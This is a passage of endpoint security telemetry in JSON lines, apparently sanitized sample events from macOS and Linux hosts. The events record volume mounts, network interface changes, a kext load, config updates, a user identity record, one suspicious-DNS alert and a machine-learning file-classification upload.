SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"}
-{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"}
-{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"}
-{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
